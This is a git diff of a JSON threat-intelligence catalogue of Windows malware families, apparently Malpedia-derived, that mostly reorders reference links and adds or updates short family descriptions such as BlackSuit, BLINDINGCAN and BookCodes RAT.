[ "BlackRAT" @@ -15872,8 +16586,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackrouter", - "https://www.bleepingcomputer.com/news/security/blackrouter-ransomware-promoted-as-a-raas-by-iranian-developer/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/legitimate-application-anydesk-bundled-with-new-ransomware-variant/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/legitimate-application-anydesk-bundled-with-new-ransomware-variant/", + "https://www.bleepingcomputer.com/news/security/blackrouter-ransomware-promoted-as-a-raas-by-iranian-developer/" ], "synonyms": [ "BLACKHEART" @@ -15888,8 +16602,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackruby", - "https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware", - "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/" + "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/", + "https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware" ], "synonyms": [], "type": [] @@ -15903,10 +16617,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades", "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/", - "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", - "https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/", "https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/", - "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga" + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", + "https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/", + "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html" ], "synonyms": [], "type": [] @@ -15940,13 +16654,27 @@ "uuid": "58701e4d-87aa-45a5-adfd-9b20f50fea91", "value": "BlackSoul" }, + { + "description": "According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksuit", + "https://blog.cyble.com/2023/05/12/blacksuit-ransomware-strikes-windows-and-linux-users/", + "https://www.trendmicro.com/en_us/research/23/e/investigating-blacksuit-ransomwares-similarities-to-royal.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b73202ea-e636-4e70-91b1-f29c1db4cbb1", + "value": "BlackSuit (Windows)" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackworm_rat", - "https://github.com/BlackHacker511/BlackWorm", "https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html", + "https://github.com/BlackHacker511/BlackWorm", "https://www.fidelissecurity.com/threatgeek/archive/down-h-w0rm-hole-houdinis-rat/" ], "synonyms": [], @@ -15969,22 +16697,24 @@ "value": "BleachGap" }, { - "description": "According to SentinelOne, this RAT can gather and transmit a defined set of system features, create/terminate/manipulate processes and files, and has self-updating and deletion capability.", + "description": "BLINDINGCAN is a remote access trojan that communicates with its C&C server via HTTP(S).\r\nIt uses a (custom) RC4 or AES for encryption and decryption of its configuration and network traffic. \r\nIt sends information about the victim's environment, like computer name, IP, Windows product name and processor name.\r\nIt supports around 30 commands that include operations on the victim\u2019s filesystem, basic process management, command line execution, file exfiltration, configuration update, and the download and execution of additional payloads from the attackers' C&C. The commands are indexed by 16-bit integers, starting with the index 0x2009 and going incrementally up to 0x2057, with some indicis being skipped. \r\nIt uses various parameter names in its HTTP POST requests, mostly associated with web servers running bulletin board systems, like bbs, article, boardid, s_board, page, idx_num, etc.\r\nIt contains specific RTTI symbols like \".?AVCHTTP_Protocol@@\", \".?AVCFileRW@@\" or \".?AVCSinSocket@@\".\r\nBLINDINGCAN RAT is a flagship payload deployed in many Lazarus attacks, especially in the Operation DreamJob campaigns happening in 2020-2022.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan", - "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", - "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", - "https://www.sentinelone.com/blog/the-blindingcan-rat-and-malicious-north-korean-activity/", "https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", - "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", "https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "https://www.hvs-consulting.de/lazarus-report/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.sentinelone.com/blog/the-blindingcan-rat-and-malicious-north-korean-activity/", + "https://www.cisa.gov/news-events/analysis-reports/ar20-232a", + "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/" ], "synonyms": [ - "DRATzarus RAT" + "AIRDRY", + "ZetaNile" ], "type": [] }, @@ -15998,8 +16728,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad", "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html", - "https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf", - "https://content.fireeye.com/apt/rpt-apt38" + "https://content.fireeye.com/apt/rpt-apt38", + "https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf" ], "synonyms": [], "type": [] @@ -16012,20 +16742,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister", - "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", - "https://redcanary.com/blog/intelligence-insights-january-2022/", "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://elastic.github.io/security-research/malware/2022/05/02.blister/article/", "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-2/", - "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://redcanary.com/blog/intelligence-insights-january-2022/", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://security-labs.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", + "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://cloudsek.com/technical-analysis-of-code-signed-blister-malware-campaign-part-1/" ], "synonyms": [ "COLORFAKE" @@ -16076,15 +16808,54 @@ "uuid": "3dcfef7b-d657-4ac5-b738-ef793237274b", "value": "BLUEHAZE" }, + { + "description": "Malware family used to deliver follow up payloads, variants using Microsoft Graph API and Google Web Apps have been observed.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight", + "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9c5ec440-2bb8-4485-9811-f2fb52cf76e5", + "value": "BLUELIGHT" + }, + { + "description": "This family contains the BlueNoroff toolkit used for SWIFT manipulation, as used by the Lazarus activity cluster also referred to as BlueNoroff.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluenoroff", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "862e9c13-dde6-473e-a816-a7d7043bf73c", + "value": "BlueNoroff" + }, + { + "description": "According to AhnLab, BlueShell is a backdoor malware developed in Go language, published on Github, and it supports Windows, Linux, and Mac operating systems. Currently, the original Github repository is presumed to have been deleted, but the BlueShell source code can still be obtained from other repositories. It features an explanatory ReadMe file in Chinese, indicating the possibility that the creator is a Chinese user.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blueshell", + "https://asec.ahnlab.com/ko/56715/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "91d441a6-4244-43a2-9b96-354a2df63a4e", + "value": "BlueShell" + }, { "description": "Ransomware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluesky", - "https://unit42.paloaltonetworks.com/bluesky-ransomware/", - "https://yoroi.company/research/dissecting-bluesky-ransomware-payload/", "https://www.sentinelone.com/blog/bluesky-ransomware-ad-lateral-movement-evasion-and-fast-encryption-puts-threat-on-the-radar/", - "https://cloudsek.com/technical-analysis-of-bluesky-ransomware/" + "https://yoroi.company/research/dissecting-bluesky-ransomware-payload/", + "https://cloudsek.com/technical-analysis-of-bluesky-ransomware/", + "https://unit42.paloaltonetworks.com/bluesky-ransomware/" ], "synonyms": [], "type": [] @@ -16097,8 +16868,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluether", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf" + "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf" ], "synonyms": [ "CAPGELD" @@ -16113,10 +16884,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blustealer", - "https://twitter.com/GoSecure_Inc/status/1437435265350397957", - "https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/", - "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://twitter.com/GoSecure_Inc/status/1437435265350397957", + "https://blog.minerva-labs.com/a-new-blustealer-loader-uses-direct-syscalls-to-evade-edrs", + "https://www.gosecure.net/blog/2021/09/22/gosecure-titan-labs-technical-report-blustealer-malware-threat/", "https://decoded.avast.io/anhho/blustealer/", "https://blogs.blackberry.com/en/2021/10/threat-thursday-blustealer-infostealer" ], @@ -16159,8 +16930,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bobik", - "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/", - "https://decoded.avast.io/martinchlumecky/bobik/" + "https://decoded.avast.io/martinchlumecky/bobik/", + "https://www.sentinelone.com/labs/noname05716-the-pro-russian-hacktivist-group-targeting-nato/" ], "synonyms": [], "type": [] @@ -16199,9 +16970,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek", + "https://lokalhost.pl/txt/newest_addition_to_happy_family_kbot.17.05.2015.txt", "https://securelist.com/kbot-sometimes-they-come-back/96157/", - "http://www.cert.pl/news/11379", - "https://lokalhost.pl/txt/newest_addition_to_happy_family_kbot.17.05.2015.txt" + "http://www.cert.pl/news/11379" ], "synonyms": [ "KBOT" @@ -16211,6 +16982,26 @@ "uuid": "d3af810f-e657-409c-b821-4b1cf727ad18", "value": "Bolek" }, + { + "description": "BookCodesRAT is a remote access trojan that uses HTTP(S) for communication. It supports around 25 commands that include operations on the victim\u2019s filesystem, basic process management and the download and execution of additional tools from the attacker\u2019s arsenal. They are indexed by 32-bit integers, starting with the value 0x97853646. \r\n\r\nBookCodesRAT uses mostly compromised South Korean web servers for the C&C traffic and is usually deployed against South Korean targets.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2612&attach_file_id=EpF2612.pdf", + "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2452&attach_file_id=EpF2452.pdf", + "https://vblocalhost.com/uploads/VB2021-Lee-etal.pdf", + "https://www.welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea/", + "https://vblocalhost.com/uploads/VB2021-Park.pdf" + ], + "synonyms": [ + "BookCodesTea" + ], + "type": [] + }, + "uuid": "433b9a1c-dd2a-4d2b-b469-47b40fc6c196", + "value": "BookCodes RAT" + }, { "description": "This in .Net written malware is a classic information stealer. It can collect various information and can be depoyed in different configurations: \"The full-featured version of the malware can log keystrokes, collect profile files of Mozilla Firefox and Google Chrome browsers, record sound from the microphone, grab desktop screenshots, capture photo from the webcam, and collect information about the version of the operation system and installed anti-virus software.\" (ESET)\r\nThis malware has been active since at least 2012.", "meta": { @@ -16242,9 +17033,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boombox", + "https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/", "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", - "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", - "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/", + "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/" ], "synonyms": [], "type": [] @@ -16253,13 +17045,13 @@ "value": "BOOMBOX" }, { - "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", + "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate \u2018Dwrite.dll\u2019 provided by the Microsoft DirectX Typography Services. The application loads the \u2018gdi\u2019 library, which loads the \u2018gdiplus\u2019 library, which ultimately loads \u2018Dwrite\u2019. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" + "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" ], "synonyms": [], "type": [] @@ -16272,8 +17064,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bootwreck", - "https://content.fireeye.com/apt/rpt-apt38", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-latin-american-financial-organizations-again/", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [ "MBRkiller" @@ -16288,8 +17080,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boratrat", - "https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/", "https://www.bleepingcomputer.com/news/security/new-borat-remote-access-malware-is-no-laughing-matter/", + "https://blog.cyble.com/2022/03/31/deep-dive-analysis-borat-rat/", "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat" ], "synonyms": [], @@ -16303,9 +17095,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.borr", - "https://telegra.ph/Borr-Malware-02-04", + "https://twitter.com/ViriBack/status/1222704498923032576", "https://github.com/onek1lo/Borr-Stealer", - "https://twitter.com/ViriBack/status/1222704498923032576" + "https://telegra.ph/Borr-Malware-02-04" ], "synonyms": [], "type": [] @@ -16345,8 +17137,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bozok", "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html" + "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html", + "https://securelist.com/apt-trends-report-q1-2021/101967/" ], "synonyms": [], "type": [] @@ -16368,21 +17160,21 @@ "value": "BRAIN" }, { - "description": "Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim’s networks.", + "description": "Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim\u2019s networks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", - "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.secureworks.com/research/threat-profiles/nickel-academy", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.us-cert.gov/ncas/analysis-reports/AR18-149A", "https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/", - "https://www.us-cert.gov/ncas/alerts/TA18-149A", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-2", + "https://www.us-cert.gov/ncas/alerts/TA18-149A" ], "synonyms": [ "SORRYBRUTE" @@ -16432,7 +17224,7 @@ "value": "BreachRAT" }, { - "description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\хп-пробив\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=&os=&build=1.0.0&cpu=8\r\n\r\n is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n", + "description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\\u0445\u043f-\u043f\u0440\u043e\u0431\u0438\u0432\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=&os=&build=1.0.0&cpu=8\r\n\r\n is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader" @@ -16449,8 +17241,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab", "https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html" + "https://www.fireeye.com/blog/threat-research/2010/10/bredolab-its-not-the-size-of-the-dog-in-fight.html", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf" ], "synonyms": [], "type": [] @@ -16517,9 +17309,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brushaloader", + "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/", "https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later", - "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html", - "https://www.cert.pl/en/news/single/brushaloader-gaining-new-layers-like-a-pro/" + "https://blog.talosintelligence.com/2019/02/combing-through-brushaloader.html" ], "synonyms": [], "type": [] @@ -16532,22 +17324,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brute_ratel_c4", - "https://medium.com/walmartglobaltech/brute-ratel-config-decoding-update-7820455022cb", + "https://www.splunk.com/en_us/blog/security/deliver-a-strike-by-reversing-a-badger-brute-ratel-detection-and-analysis.html", "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/", - "https://0xdarkvortex.dev/hiding-in-plainsight/", - "https://protectedmo.de/brute.html", - "https://twitter.com/embee_research/status/1580030303950995456?s=20&t=0vfXnrCXaVSX-P-hiSrFwA", - "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", - "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/", - "https://web.archive.org/web/20230216110153/https://yoroi.company/research/hunting-cyber-evil-ratels-from-the-targeted-attacks-to-the-widespread-usage-of-brute-ratel/", - "https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/", "https://www.youtube.com/watch?v=a7W6rhkpVSM", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://twitter.com/embee_research/status/1580030303950995456?s=20&t=0vfXnrCXaVSX-P-hiSrFwA", + "https://0xdarkvortex.dev/hiding-in-plainsight/", "https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities", - "https://blog.spookysec.net/analyzing-brc4-badgers/", - "https://socradar.io/brute-ratel-utilized-by-threat-actors-in-new-ransomware-operations/", "https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/", - "https://www.splunk.com/en_us/blog/security/deliver-a-strike-by-reversing-a-badger-brute-ratel-detection-and-analysis.html" + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf", + "https://cybergeeks.tech/a-deep-dive-into-brute-ratel-c4-payloads/", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://socradar.io/brute-ratel-utilized-by-threat-actors-in-new-ransomware-operations/", + "https://www.trendmicro.com/de_de/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/", + "https://blog.spookysec.net/analyzing-brc4-badgers/", + "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/", + "https://medium.com/walmartglobaltech/brute-ratel-config-decoding-update-7820455022cb", + "https://web.archive.org/web/20230216110153/https://yoroi.company/research/hunting-cyber-evil-ratels-from-the-targeted-attacks-to-the-widespread-usage-of-brute-ratel/", + "https://twitter.com/MichalKoczwara/status/1652067563545800705", + "https://protectedmo.de/brute.html" ], "synonyms": [ "BruteRatel" @@ -16575,10 +17371,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005", - "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", "https://www.secureworks.com/research/threat-profiles/bronze-palace", - "https://github.com/nccgroup/Royal_APT", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://github.com/nccgroup/Royal_APT" ], "synonyms": [], "type": [] @@ -16618,38 +17414,38 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer", + "https://twitter.com/StopMalvertisin/status/1182505434231398401", + "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html", + "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", + "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", + "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader", + "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", "https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/", + "http://www.secureworks.com/research/threat-profiles/gold-symphony", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust", + "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/", + 